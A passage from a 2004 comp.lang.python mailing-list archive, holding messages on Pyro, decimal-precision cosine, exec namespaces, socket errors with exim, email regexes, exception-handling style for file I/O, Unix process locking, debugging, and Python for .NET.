References: <MPG.1bb0b7d621a77bc598968c@news2.atlantic.net>
	<MPG.1bb0babc8d7d2dfa98968d@news2.atlantic.net>
Message-ID: <41471f73$0$10528$e4fe514c@news.xs4all.nl>

ChrisH wrote:
> Am I correct in saying that remote objects are not really needed for 
> this?
[...]
>>I would like to create a second program on a remote Windows computer 
>>that receives an update from program A periodically (maybe every 10 
>>minutes or so), and tells it everything is running without a problem.
>>
>>Can anyone recommend a good (and preferably simple) way for two programs 
>>to communicate on a network? 

Perhaps remote objects are a bit overkill for your specific problem.
But then again, Pyro for instance (pyro.sf.net) essentially removes
the need for any network code in your app, and takes care of various
other nasty things that happen at the network level.
So unless you choose to use Pyro or some other high level API,
you will have to deal with all this yourself-- and that may be
more work than you think...

--Irmen
>>


From brandon at ten22.rhodesmill.org  Thu Sep  9 15:01:11 2004
From: brandon at ten22.rhodesmill.org (Brandon Craig Rhodes)
Date: Thu, 09 Sep 2004 15:01:11 -0400
Subject: Is except: ... pass bad style?
References: <pan.2004.09.09.16.26.16.985806@python.net>
	<m33c1rcrxg.fsf@pc150.maths.bris.ac.uk>
	<873c1re0am.fsf@ten22.rhodesmill.org>
Message-ID: <87vfenclmw.fsf@ten22.rhodesmill.org>

I carelessly wrote:

>     meth = getattr(myobj, method)
>     if meth:
>         meth()

but in fact intended the first line to be

    meth = getattr(myobj, method, None)

Sorry for any confusion. :-)

-- 
Brandon Craig Rhodes   brandon at rhodesmill.org   http://rhodesmill.org/brandon


From tim.peters at gmail.com  Sun Sep 26 20:26:23 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Sun, 26 Sep 2004 20:26:23 -0400
Subject: Floating-point glitches with the math module. Bug? Or am
	Imissing something?
In-Reply-To: <cir6r2$7vn$1@sea.gmane.org>
References: <pan.2004.09.20.22.13.05.488469@speakeasy.snip-me.net>
	<20040921000356.GA2641@unpythonic.net>
	<1f7befae040920235213950f17@mail.gmail.com>
	<cir6r2$7vn$1@sea.gmane.org>
Message-ID: <1f7befae04092617267b00d2f7@mail.gmail.com>

[Tim, sez that when you evaluate a function near a local min or max,
 then it's unavoidable that using finite-precision arithmetic makes
 a 1-to-1 mathematical function appear to be many-to-1]

[Terry Reedy]
> To illustrate:
> >>> for i in range(50): print `cos(i*1e-9)` # Windows, 2.2
> 1.0
> 1.0
> 1.0
> 1.0
> 1.0
> 1.0
> 1.0
> 1.0
> 1.0
> 1.0
> 1.0
> 0.99999999999999989
> 0.99999999999999989

...

> The mathematically smooth cos(x) is effectively a stairstep function for
> |x|<5e-8.  Stairsteps are hard to invert ;-).

Yup!  I'd like to point out too that the new decimal module lowers the
bar for doing numeric *investigation* in two important ways:  (1) just
because it's decimal, it's much easier for people to understand what
they're seeing; and, (2) because you can boost precision to anything
you like whenever you like, it's often dead easy to write a function
that delivers excellent accuracy.

I won't say much about the following, but hope it illustrates both
points for those who run it and stare at it.  The decimal cosine
routine is about as naive as you can imagine, but by temporarily
boosting the working precision to twice the caller's precision, then
rounding back at the end, it delivers high-quality results.  Until the
input argument gets "too big".  Then it's a disaster.  So I hope this
also illustrates that decimal isn't a magical cure either.

"""
import decimal, math

def deccos(x):
    origprec = decimal.getcontext().prec
    decimal.getcontext().prec = 2 * origprec
    result = term = decimal.Decimal(1)
    # Compute 1 - x**2/2! + x**4/4! - x**6/6! ...
    i = 1
    sq = -x*x
    while True:
        term *= sq
        term /= i*(i+1)
        i += 2
        newresult = result + term
        if result == newresult:
            break
        result = newresult
    decimal.getcontext().prec = origprec
    return result + 0 # round to orig precision

decimal.getcontext().prec = 20
base = decimal.Decimal("1e-9")

for i in range(50):
    x = base * i
    dcos = deccos(x)
    fcos = math.cos(float(x))
    print "%6s %22s %19.17f %s" % (x,
                                   dcos,
                                   fcos,
                                   fcos == float(dcos))
"""

One thing to notice is that, working with 20 decimal digits, all these
inputs have distinct computed cos() values.  Another is that
math.cos() delivers the same results, after rounding to native binary
fp precision.  Another is that while we can tell that's so because the
4th column always says "True", you'd have a hard time guessing that
from staring at the 2nd and 3rd columns; for example, it's probably
not intuitively obvious that the decimal

    0.999999999999999838
"rounds to" 
    0.99999999999999989

when converted to native binary fp and then back to 17-digit decimal. 
Getting binary<->decimal conversion errors out of the equation makes
working with the decimal module easier for everyone.

decimal-is-too-important-to-waste-on-money<wink>-ly y'rs  - tim


From jerf at jerf.org  Wed Sep  8 19:45:53 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Wed, 08 Sep 2004 23:45:53 GMT
Subject: container-indepentent iteration code ?
References: <10jv5ad1sjgep4d@corp.supernews.com>
Message-ID: <pan.2004.09.08.19.46.06.74868@jerf.org>

On Wed, 08 Sep 2004 19:27:38 -0400, flacco wrote:

> 
> is there a way to iterate over the *values* in a list/dict/whatever, 
> regardless of whether it's a list, dict, or whatever?  ie, the iteration 
> code will not know beforehand what kind of container it's getting.

In what way does

for obj in container:

not meet your needs?



From aleaxit at yahoo.com  Mon Sep  6 06:04:04 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 6 Sep 2004 12:04:04 +0200
Subject: Fastest way to loop through each digit in a number?
References: <ssjnj01agata9qtsn414740sml1kc2em49@4ax.com>
	<roy-324A3B.23061705092004@reader1.panix.com>
Message-ID: <1gjox3c.1xnvv67wtms2N%aleaxit@yahoo.com>

Roy Smith <roy at panix.com> wrote:

> In article <ssjnj01agata9qtsn414740sml1kc2em49 at 4ax.com>,
>  Rune Strand <rst at _nospam_.drlug.org._nospam_> wrote:
> 
> > Hi,
> > If I have a lot of integers and want do something with each digit as
> > integer, what is the fastest way to get there? 
> > 
> > Eg. Make 12345 into an iterable object, like [1,2,3,4,5] or "12345"
> 
> Does it matter what order you process the digits, i.e. least-significant
> first vs. most-significant first?  If you can do least first, then you
> might be best off doing something straight-forward like:
> 
> i = 12345
> while i:
>     digit = i % 10
>     i = i / 10
>     print digit
> 
> although, with the new-style division, I'm not sure if you want / or //.

He'd surely want truncation, so I don't understand why he could possibly
want / (which in new-style division means true, non-truncating
division), it's surely gotta be //.  divmod looks like it might be
better, but from some q&d timeit.py'ing, it seems this approach is
fastest (30% faster than divmod) if these semantics are OK (when i is 0
you get nothing rather than a single 0...) -- map(int, str(i)) is midway
in speed through these purely numeric approaches (with % and // vs with
divmod).


Alex



From mauriceling at acm.org  Thu Sep 30 20:49:43 2004
From: mauriceling at acm.org (Maurice LING)
Date: Fri, 01 Oct 2004 00:49:43 GMT
Subject: embedding python in python
In-Reply-To: <10lp8chm0d6u185@corp.supernews.com>
References: <415a7f0b$1@news.unimelb.edu.au>
	<4b39d922.0409290938.42c68ca4@posting.google.com>
	<415b415e$1@news.unimelb.edu.au> <415c921b$1@news.unimelb.edu.au>
	<10lp8chm0d6u185@corp.supernews.com>
Message-ID: <415ca9a3$1@news.unimelb.edu.au>


> 
>  >>> myglobals = {}
>  >>> mylocals = {}
>  >>> exec "b = 1 + 2" in myglobals, mylocals
>  >>> mylocals
> {'b': 3}
>  >>> exec "c = b * 2" in myglobals, mylocals
>  >>> mylocals
> {'c': 6, 'b': 3}
>  >>> >>>
> 
> The exec statement can take an optional pair of dictionaries that it 
> uses as the global and local namespaces to execute the given code in.  
> This is *much* preferable to a bare exec for several reasons, one of 
> them being exactly your issue, and another being safety -- since you 
> must explicitly include any names that you want exec to use, it makes 
> exec rather less likely to unintentionally stomp all over your namespace 
> (or for malicious code to do certain types of harm).
> 
> Jeff Shannon
> Technician/Programmer
> Credit International
> 

Please pardon me for my dumbness but what exactly goes on in


exec "b = 1 + 2" in myglobals, mylocals

?

Thanks
Maurice


From marilyn at deliberate.com  Fri Sep 24 21:01:21 2004
From: marilyn at deliberate.com (Marilyn Davis)
Date: Fri, 24 Sep 2004 18:01:21 -0700 (PDT)
Subject: sockets and pipes and bad results 
Message-ID: <Pine.LNX.4.44.0409241752590.8998-100000@Kuna>

Hello Python Gurus,

I'm having a problem when writing to a socket.  It only happens when I
am also doing some piping into exim, my MTA.  Like this:

./test1.py

>> Here test1.py sends email via my module, exim.py, which pipes the
>> message into exim.  All the digits are the results from fileno()
>> calls, on the open socket or on open file descriptors.

exim pipe descriptors:  7 6 9
exim.py piped into  6
exim closed pipes:  6 7 9

>> Next, test1.py calls my module, xfer_pop.py to read mail from a pop
>> server, opening a socket:

xfer_pop.py:  ['from test1:marilyn1', 'test', 2]
xfer_pop.py socket 6 opened and used: +OK fishgills.net POP MDaemon 7.0.1 ready <MDAEMON-F200409241735.AA355831MD5705 at fishgills.net>

>> After some conversation, it decides to collect message # 139 and
>> pipe it into exim:

XferMessage # 139.
xfer_pop socket before exim pipe:  6
exim pipe descriptors:  8 7 10

>> here it's piping the headers
exim.py piped into  7

>> and now it's trying to receive the body:
xfer_pop.py socket in loop: 6
Traceback (most recent call last):
   File "./test1.py", line 254, in ?
     exec(x)
   File "<string>", line 1, in ?
   File "./test1.py", line 143, in marilyn1
     xfer_pop.main(['from test1:marilyn1', 'test', 2])
   File "/b/bmail/scripts/xfer_pop.py", line 446, in main
     popee.run()
   File "/b/bmail/scripts/xfer_pop.py", line 338, in run
     XferMessage(self, (str(msg)))
   File "/b/bmail/scripts/xfer_pop.py", line 70, in __init__
     more = self.popper.remote.recv(BLOCK)
socket.error: (9, 'Bad file descriptor')

---

My test1.py can call xfer_pop.py lots of times, piping into exim many
times each call, and it will always be successful, UNLESS test1.py
makes a call to exim.py first.  Once that happens, a subsequent call
to xfer_pop.py crashes as above.

Can anyone suggest a possible cause or remedy?

Thank you for any help you can give.

Marilyn Davis







From narshe at gmail.com  Tue Sep 21 11:48:29 2004
From: narshe at gmail.com (Josh Close)
Date: Tue, 21 Sep 2004 10:48:29 -0500
Subject: OT: regex to find email
In-Reply-To: <cipg60$ap1$1@sea.gmane.org>
References: <4a0cafe204092108038020f72@mail.gmail.com>
	<cipg60$ap1$1@sea.gmane.org>
Message-ID: <4a0cafe2040921084828f898d8@mail.gmail.com>

On Tue, 21 Sep 2004 17:08:47 +0200, Remy Blank
<remy.blank_asps at pobox.com> wrote:
> 
> 
> Josh Close wrote:
> > I've been trying to find a good regex to parse emails, but haven't
> > found any to my liking. I basically need to have
> >
> > ( r'[a-z0-9\.\-\_]@[a-z0-9\.\-\_]', re.IGNORECASE )
> >
> > but the first part can't start with .-_ and the last part has to have
> > a . in it (first/last being before/after the @).
> 
> I'd try something like (untested):
> 
> [a-z0-9][a-z0-9\._-]*@[a-z0-9\._-]+\.[a-z0-9\._-]+
> 
> Basically, you have to remember to say *how many* characters you want
> of a specific set, that's what the '*' and '+' are for.
> 
> -- Remy
> 
> Remove underscore and suffix in reply address for a timely response.
> 
> 
> 
> --
> http://mail.python.org/mailman/listinfo/python-list
> 


Ok, I see how this works.... but now how would I add {3,64} for the id
and {3,255} for the domain? I forgot to throw that part in earlier. I
believe a valid id is 3-64 chars and domain is 3-255 chars.

So basically like this

[\w[\w\._-]*]{3,64}@[[\w\._-]{3,255}\.[\w\._-]+]

......I know that won't work, but I'd like to verify that the id is
3-64 chars long, and doesn't start with -._ and the domain is 3-255
chars long and doesn't start with -._ but must have a dot and tld's
like .com.au need to be accounted for also.

-Josh


From zanesdad at bellsouth.net  Thu Sep 30 22:54:56 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Thu, 30 Sep 2004 22:54:56 -0400
Subject: File handling: The easy and the hard way
In-Reply-To: <wD07d.1810$gk.15@okepread01>
References: <pan.2004.09.30.13.56.48.18412@web.de>	<mailman.4141.1096557347.5135.python-list@python.org>
	<wD07d.1810$gk.15@okepread01>
Message-ID: <415CC700.6070008@bellsouth.net>

Hopefully, I'm not belaboring this.  Just a few questions that need to 
be addressed in the development of any application:
1.  Who is the user?
2.  What is the application?  (duh)
3.  What problems/errors/exceptions are going to occur and what do you 
do with them when they do?  (this is highly contingent upon the answers 
to the first two questions)

We'll get back to this.


Steve Holden wrote:

> Jeremy Jones wrote:
>
>> Hans-Joachim Widmaier wrote:
>>
> [...]
>
>>
>>> Especially not when the error is not in the program itself, but rather
>>> just a mistyped filename. (Most of my helper scripts that we use to
>>> develop software handle files this way. And even my co-workers don't
>>> recognize 'file or directory not found' for what it is.) End users are
>>> entitled to error messages they can easily understand like "I could not
>>> open 'blaah' because there is no such file".
>>
>>
>> So, you're saying that dumping a raw traceback like:
>> IOError: [Errno 2] No such file or directory: '/foo/bar/bam'
>> to a logfile is a no-no?  Instead, it should say:
>>
>> I'm sorry sir, but an error occurred when trying to write to file 
>> /foo/bar/bam because it wasn't there.
>>
> A traceback is not an error message. When a non-programming user sees 
> a fifteen-line stack trace with python statements and line numbers in 
> it that's quite enough to stop most of them from even reading it to 
> see if there's anything they understand at all.

You're partially right.  Not all tracebacks are error messages.  Not all 
error messages are tracebacks.  Tracebacks are when an exception 
occurs.  An error could happen and no traceback may result.  In the 
example of the OP of a mistyped filename, you could catch that error 
before you try to open the file.  That may not be the best way.  I kinda 
like relying on exceptions to help guide the flow of a program.  
Nevertheless, they are different, but there can be overlap.  Since the 
OP was concerned with exceptions that may happed during opening and 
writing to files, I focused on that.

Here we begin to answer the questions I posed above.  Who is the user?  
BTW - I didn't say it was a good idea in every case to always throw a 
traceback in the user's face, nor do I think it's always advisable to 
necessarily throw an error message in the user's face when an error 
occurs.  What I did say was to use common sense in every case.  If you 
are developing an application for a more technical segment of the 
population, you may very well be justified in displaying an error 
message at times *when common sense dictates*.  Even for the technical 
crowd, don't splat them with a stack trace just because you can and they 
may be able to decipher it.  If you're developing for the more general 
public, use common sense there, too, and give them what may help them 
solve the problem themselves.  That's a good goal, eh?  Let the user 
solve their own problems to the extent that they can and ask for help 
from the developer only when they absolutely need it.  I think this is 
the laziness virtue of a good programmer.

Another question to look at here is, what error occurred?  Again, if the 
user mistyped a filename, you should be able to gently tell the user 
that the file they specified was not found and not bother them 
(technical or not) with a traceback.  If you lost the filesystem that 
your data files live in.....well....you're pretty outa luck there.  
Stack trace isn't going to hurt anything depending on your audience.

>
>> I think the traceback is perfectly understandable.  I think that even 
>> an end-user would be able to comprehend that type of message.  Or, if 
>> you get an IOError, is this not sufficient:
>> IOError: [Errno 28] No space left on device
>> ?
>>
> Again, that's not a traceback. It's an error message.
>
>> Chances are, end users aren't going to be particulary concerned with 
>> exceptions you log - unless they've got a problem that they can't 
>> figure out.  And if they've got a problem they can't figure out, 
>> you'd be better off giving them as much information as you can give 
>> them, or they'll come to you for help.  And when they do come to you 
>> for help, you'd better make sure you've given yourself the most 
>> informatino you can to solve the problem.  So logging a traceback is 
>> a great idea IMHO.  Now, in areas where you're dead sure that an 
>> exception is nothing to be concerned with, don't bother.  So, a good 
>> approach may be: handle the specific exceptions that you know may 
>> occur, let other unexpected (or expected in worst case scenarios) 
>> exceptions filter up to a higher level, log them there, and if need 
>> be, terminate program execution.
>>
> This isn't about not terminating the program, it's about reporting the 
> reasons in a manner acceptable to average users. 


??  Did you take from what I said that I wasn't concerned with reporting 
the reasons back to the user in an acceptable fashion?  That's part of 
what I said above with "handle the specific exceptions that you know may 
occur."  A good developer should try to figure out what can break and 
address it before it does (within the bounds of common sense, of 
course).  Again, WRT common sense, quoting myself from below:
"""
Do your best to try to figure out what that reason is, deal with it, 
figure out the most reasonable thing to do with _that_ exception, and 
move on.  Sometimes that'll mean throwing a traceback to a log file, 
sometimes it will mean handling it gracefully and "prettying up" the 
message for logging or display to the end user, sometimes it will mean 
totally ignoring it, other times you may need to just stop the program.
"""

Honestly, Steve, I know I may not be the sharpest knife in the drawer, 
but I'm getting the impression you're trying to make me out to be dumber 
than I am....

I'm not saying that we need to just spew tracebacks everywhere.  I'm 
saying you need to handle them the best you can.  _Sometimes_ that means 
you know that an exception may possibly occur and the best thing you can 
do is just let it hit the fan.

>
>>> Graceful error handling is
>>> even more important when a program isn't just run on a command line but
>>> with a GUI.
>>>  
>>>
>> Maybe so.  But if you hit an "Oh, crap, what do I do now?" exception, 
>> you may want to throw up a dialog box with a traceback or something 
>> and when the user clicks OK on it, terminate program execution.  That 
>> gives them a chance to (unlikely) figure out what they can do to 
>> remedy the situation, otherwise call for help.
>>
> I'm all for LOGGING tracebacks. Indeed WingIDE is a beauty in this 
> respect, since it's also prepared to send feedback to Wing if you ask 
> it to, as is Mozilla and (nowadays) Internet Explorer.
>
> Given this, there's little excuse for showing the traceback in the 
> regular case, though I don't object to allowing users to look for it 
> if they want.

Tell that to the anal retentive security guy who's got the application 
server totally cordoned off from the internet so that's an 
impossibility.  I know, you said, *regular case.*  All I'm saying is, be 
discerning.  Know the user and what kind of error you may be getting.  
Provide the information that the user and developer may need to solve 
the problem that occurred.  If that means sending it back via a feedback 
agent, great.  If that's dumping a stack trace to a log file, great.  
Sometimes, if that means showing the exception to the user, great.

>
>>> Which means? Which means that all this convenient file handling that
>>> Python offers really should not be used in programs you give away. 
>>> When I
>>> asked for a canonical file access pattern some months ago, this was the
>>> result:
>>> http://groups.google.com/groups?hl=de&lr=&ie=UTF-8&threadm=pan.2003.12.30.21.32.37.195763%40web.de&rnum=1&prev=/groups%3Fhl%3Dde%26lr%3D%26ie%3DUTF-8%26q%3Dfile%2Bpattern%2Bcanonical%26btnG%3DSuche%26meta%3D 
>>>
>>>
>>> Now I have some programs that read and write several files at once. And
>>> the reading and writing is done all over the place. If I really 
>>> wanted to
>>> do it "right", my once clear and readily understandable code turns 
>>> into a
>>> nightmare. This doesn't look like the language I love for its 
>>> clarity and
>>> expressivness any more. Python, being a very high level language, 
>>> needs a
>>> higher level file type, IMHO. This is, of course, much easier said than
>>> done. And renown dimwits like me aren't expected to come up with 
>>> solutions.
>>> I've thought about subclassing file, but to me it looks like it 
>>> wouldn't
>>> help much. With all this try/except framing you need to insert a call
>>> level anyway (wondering if this new decorator stuff might help?). 
>>> The best
>>> I've come up so far is a vague idea for an error callback (if there 
>>> isn't
>>> one, the well known exceptions might be raised) that gets called for
>>> whatever error occured, like:
>>>
>>> class File:
>>>    ...
>>>    def write(self, data):
>>>        while True:
>>>            try:
>>>                self._write(data)
>>>            except IOError, e:
>>>                if self.errorcallback:
>>>                    ret, dat = self.errorcallback(self, F_WRITE, e, 
>>> data)
>>>                    if ret == F_RETURN:
>>>                        return dat
>>>                else:
>>>                    raise
>>>
>>> The callback could then write a nice error message, abort the program,
>>> maybe retry the operation (that's what the 'while True'-loop is for) or
>>> return whatever value to the original caller. Although the callback
>>> function will usually be more than a few lines, it can be reused. It 
>>> can
>>> even be packed into your own file-error-handling module, something the
>>> original usage pattern can't.
>>>  
>>>
>> Hmmm....interesting.  Shouldn't you put a break after your 
>> self._write(data)?  This is probably not a bad way of going about 
>> things, but what types of files are we talking about here?  Log 
>> files?  I think you're probably better off using the builtin logging 
>> and just dump raw tracebacks in there.  Data files?  Then you've 
>> probaby got that wrapped in code to write formatted data to the data 
>> file anyway in which case, this type of specialized class is probably 
>> not a bad thing.  If you're trying to write data to a data file, you 
>> don't want litter it with error messages.  You want to log it and, 
>> maybe even unlink the data file and do something special.
>>
>>> If you still bear with me, you might as well sacrifice a few more 
>>> seconds
>>> and tell me what you think about my rant. Is everything just fine as 
>>> it is
>>> now? Or do I have a point? I always felt it most important to handle 
>>> all
>>> errors a program may encounter gracefully, and the easier this is to 
>>> do,
>>> the less likely it is a programmer will just sneak around the issue and
>>> let the interpreter/run time system/operating system handle it. (And 
>>> yes,
>>> I'm guilty of not obeying it myself, as it can double or triple the 
>>> time
>>> needed to write the whole program; just because its so cumbersome.)
>>>
>>>  
>>>
>> I dunno - something just doesn't feel right here.  I kinda feel like 
>> you're wanting to create an over-generalized solution.  Your File 
>> class is interesting and may be a good start for a lot of general 
>> solutions and having a callback mechanism helps specialize it, 
>> but....something just doesn't sit totally right here with me.  This 
>> may work totally perfectly and may be an excellent piece of code to 
>> handle all of your file writing activities.  I dunno....
>>
>> You're not going to be able to catch every exception - not 
>> meaningfully, anyway.  You could do something like:
>>
>> if __name__ == "__main__":
>>    try:
>>        main()
>>    except Exception, e:
>>        log(e)
>>
>> But that isn't handling all errors....
>>
> It's certainly catching all subclasses of Exception, though, which in 
> modern Python should be everything not handled inside (string 
> exceptions are a throwback, retained for compatibility reasons). As to 
> whether they are bing "handled", I guess that's a matter of opinion.
>
>> Production quality code doesn't necessarily mean never terminating 
>> because of an exception.  You want to reduce the frequency of program 
>> termination due to exceptions.  I can appreciate your desire to make 
>> sure you've got good solid software, and not encumber the end user 
>> with ever little exception you hit, but sometimes it's OK to log/show 
>> exceptions.  Like I said earlier, when you hit an exception, you hit 
>> it for a reason.  Do your best to try to figure out what that reason 
>> is, deal with it, figure out the most reasonable thing to do with 
>> _that_ exception, and move on.  Sometimes that'll mean throwing a 
>> traceback to a log file, sometimes it will mean handling it 
>> gracefully and "prettying up" the message for logging or display to 
>> the end user, sometimes it will mean totally ignoring it, other times 
>> you may need to just stop the program.  All of these resolutions can 
>> be part of a production quality piece of software.  The discerning 
>> programmer has to decide which solution is appropriate for which 
>> situation.  Like Steve Holden mentioned, it's really good that you're 
>> concerned with such things, but make sure you apply common sense to 
>> each scenario.
>>
>>> Waiting-for-you-to-jump-on-me'ly yours,
>>> Hans-Joachim
>>>  
>>>
>> Hope I didn't jump too hard.
>>
> Possibly.

Yes, I may have jumped him a bit hard.  Here were my beefs:

1.  The OP comes in in rant mode and almost states that Python is flawed 
and inadequate to be released as production quality code - or that it is 
impossible to write production quality code in Python because it is 
flawed.  I know that's not what he said, but that's the impression I got 
from his overall tone and his comments:

While this is very handy for interactive usage or throw-away scripts, I'd
consider it a serious bug in a "production quality" software.

Python, being a very high level language, needs a
higher level file type, IMHO.

Honestly, they just kinda set me off a bit.  I apologize to the OP if I 
did jump a bit too hard, but when you waltz into c.l.p. and state what 
it felt like he was saying, it's kind of like someone waltzing into my 
living room and kicking my dog.  It's just not going to go over too 
well.  I don't think Python needs a higher level file class.  I still 
think he's got a lot of good ideas in there.  I think the thing that 
didn't sit well with me earlier was that it came across sounding like, 
"Python needs a new file class.  You can't claim that your code is 
production ready unless you do something similar to this."  Which is a 
nice segue into

2.  It seemed to me that the OP was positing a solution to be used in a 
broader context than necessary.  Whereas I have stated over and over and 
over that common sense must be applied to every situation and every 
situation must be evaluated differently, I haven't gotten the same vibe 
from the OP.  Sometimes his solution may work just fine and dandy.  May 
even make a great open source project.  I'm sure a lot of people would 
use it.  I might even use it some.  I just got the impression that he 
was speaking far too categorically for my tastes.

>
>> Jeremy Jones
>
>
> regards
>  Steve

I hope that I haven't come across as antagonistic as I fear I may have.  
I greatly respect you, Steve.  You're a great writer and a valuable 
contributor to this group.  I don't think we're too far off from what 
the other is saying.  I don't even think I'm too far off from the spirit 
of what the OP was trying to say.  I just had a problem with what I 
perceived the OP to be saying (WRT generalization of a solution) and 
didn't care for how it came across.  I feel better after getting that 
out.  Hope we can still be friends :-)

Mr. Holden, I remain sincerely and respectfully yours,

Jeremy Jones



From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom  Tue Sep 28 14:43:20 2004
From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=)
Date: Tue, 28 Sep 2004 20:43:20 +0200
Subject: Python for .NET
References: <221d8dbe.0409280014.aa38f20@posting.google.com>
	<o4d6d.250121$4o.91029@fed1read01>
Message-ID: <4159d5d6$0$30722$8fcfb975@news.wanadoo.fr>

URL :  http://www.zope.org/Members/Brian/PythonNet 

I had try if from many month, from now.


-- 
Michel Claveau 



From ville at spammers.com  Thu Sep 30 02:05:52 2004
From: ville at spammers.com (Ville Vainio)
Date: 30 Sep 2004 09:05:52 +0300
Subject: multiple instance on Unix
References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com>
	<415AF802.1080909@bellsouth.net>
	<mailman.4104.1096493884.5135.python-list@python.org>
	<x7d604xxv3.fsf@guru.mired.org> <fngs22-orb.ln1@lairds.us>
Message-ID: <du7zn38qojj.fsf@amadeus.cc.tut.fi>

>>>>> "Cameron" == Cameron Laird <claird at lairds.us> writes:

    Cameron> In article <x7d604xxv3.fsf at guru.mired.org>, Mike Meyer  <mwm at mired.org> wrote:

    >> The (old) standard method for locking on Unix is to use a
    >> file. Open it in exclusive mode. Using os.open(<filename>,
    >> O_EXCL | O_RDONLY) (or O_WRONLY, or O_RDWR) should do the
    >> trick.

    Cameron> *My* favorite is to open a server socket; its semantics
    Cameron> are exactly those one wants, without having to tend to
    Cameron> filesystem hygiene with its attendant race and security
    Cameron> challenges.

Server sockets have some nasty problems - they have for numerous times
been left "dangling" for me, i.e. the socket is not available even if
the process is long dead.

I'd go for pid file - in Unix at least, process id's are not reused so
if no process for the pid in pidfile exists, the process has died.

-- 
Ville Vainio   http://tinyurl.com/2prnb


From aleaxit at yahoo.com  Wed Sep 22 11:48:35 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 22 Sep 2004 17:48:35 +0200
Subject: Development engineering
References: <mailman.3639.1095771048.5135.python-list@python.org>
	<Qg04d.3086$Ec4.2542@trndny04>
	<1gkipxd.1ibrh95fcvdotN%aleaxit@yahoo.com>
	<4tg822-bmd.ln1@lairds.us>
Message-ID: <1gkiywn.1ydvxr62u3q0dN%aleaxit@yahoo.com>

Cameron Laird <claird at lairds.us> wrote:
   ...
> Excellent developers, among other things, diagnose accurately
> and quickly; slightly less (I claim) differentiating is their
> creativity at remedies.

Yeah, debugging skill #1 is diagnosis -- fixes are easier, more often
than not.  Not too sure about the "excellent developer" generalization
in this context, tho.  The skills of, say: finding bugs; architecting
complex systems effectively; mastering some technologies (languages,
libraries, operating systems, protocols, existing algorithms in some
field, ...) thoroughly and effectively; designing pleasantly usable
languages, mini-languages, file formats, library interfaces, user
interfaces; inventing good new algorithms; etc, etc... ARE all
correlated to SOME extent, sure, but no more so, I think, than some of
them correlate with other skills not directly connected to the practice
of software development (crossword puzzles, ikebana, cooking...).


> I have a large, large theory that I summarize as, "Cut your
> losses".  The local application is that one big win for
> engineering productivity in software development is avoidance
> or management of those it-took-*months*-to-track-down-this-
> simple-problem situations.  I've sure lived through them; in
> fact, I'm dealing with three different ones that I know right
> now.
> 
> They are humbling, indeed.

Yeah, and avoiding or wisely managing them would be wonderful, but isn't
necessarily easy.  "KISS" is always helpful, of course: the more
helpings multitasking (of whatever kind, but "free-threading" issues are
the deucedest ones in my experience), distributed programming (...runs
away screaming...), even humble (ha!) event-driven programming, there
are in your system, the likelier that bugs will emerge that are very
hard to identify.  But we can't always be writing nicely simple
sequential programs -- we DO need to work with networks, GUIs, ...:-(

Abstraction cuts both ways -- great while it works, but sometimes bug
emerge that become horridly difficult to connect across huge gaps of
abstraction.  Eric Raymond has some wise comments about that (and
pointers to more such material) in his great book "Art of Unix
Programming".  Same for avoiding boilerplate coding and copy-and-paste
reuse -- such avoidance is an important bug-avoidance practice, BUT if
to pursue it you end up with highly generalized, parameterized, and
likely complicated procedures (or, worse, deep hierarchies of classes,
eek!) you may easily risk losing more than you gained.  Unit testing,
generous use of assertions, pair programming, and, to a far lesser
extent, "linting" and code inspections, all help a bit... but the race
condition, weird interaction of complicated frameworks, etc, will always
hit in the one spot which unit tests didn't exercise, that you didn't
think to assert anything about, and that looked just as good to your
programming partner, your linter, and all code inspectors...!-)

 
> I've lived through quite a few, as I just wrote.  I do *not*
> particularly associate their resolution, in my memories of
> first-hand experience, with debuggers.  Among other things,
> this makes me wonder if I'm missing out on the capabilities
> of debuggers.

This is a reflection I had as a consequence of this episode.  But if I
meet about two "super-horrible bugs" a year, and a perfect debugger
would save me 3 days or so in each case, I need to find one that I can
learn to use with perfect skill in less than 6 days, and keep
well-trained on at no cost.  Half the incantations that WingIDE guru was
incanting were completely lost on me and the other guy helping us out in
that debugging -- if I took a week to learn it, and then didn't have any
need for it for months, I'd have to relearn it again 7 months later...
not a net win.

I was highly skilled back when I had to use MS Visual Studio to develop
and debug C++ code -- but it's the kind of skill my brain expunges as
fast as it possibly can, as soon as it becomes unused (as opposed to,
say, weird interesting facts about languages and libraries I may not
have used for years -- THOSE, for me, tend to stay around somewhere in
my brain!-)


> I don't know what the answers are.  In this area, I'm still
> wrestling with what questions to ask.  This stuff *fascinates*
> me, though, in utter contrast to what I consider the utter
> irrelevancies of which editor to use, which ...

Of course -- the answer is so obvious (vim, what else?!) than debating
it _is_ utterly irrelevant...!-)


Alex


From steve at holdenweb.com  Tue Sep 28 08:44:28 2004
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 28 Sep 2004 08:44:28 -0400
Subject: Python for .NET
In-Reply-To: <221d8dbe.0409280014.aa38f20@posting.google.com>
References: <221d8dbe.0409280014.aa38f20@posting.google.com>
Message-ID: <o4d6d.250121$4o.91029@fed1read01>

srijit at yahoo.com wrote:

> Hello,
> 
> Ironpython is a good alternative. But it would be great if it is
> possible to access CLR from CPython.

Iron Python will be the way to go if you want CLR access and managed 
code. Particularly now its author works at Microsoft, there's hope that 
we will have a great .NET implementation that manages to be 
highly-compatible with CPython.

Remember that Python is an open source project. One of its goals is 
availability across a startlingly wide range of platforms. Hard-wiring 
the CLR into CPython would remove all pretence of portability, so it 
isn't going to happen, I suspect. Until Microsoft open up .NET and make 
it available on all Python-supported OSes.

Nah, it isn't going to happen!

> I am aware Python for .NET ( PythonNet-1.0-beta3.tgz). I have started
> using this tool now.
> But I see that development of this promising tool has ceased for all
> practical purposes.
> Is it because there is nothing much to do beyond what it is now?
> 
Do you perhaps have a URL that relates to this project? I suspect it's 
an early experiment which (unlike Iron Python) concluded it wasn't 
practical to adapt dynamic languages like Python to the CLR. That has 
now been proved unduly pessimistic.

regards
  Steve


From sholden at holdenweb.com  Wed Sep 15 09:11:46 2004
From: sholden at holdenweb.com (Steve Holden)
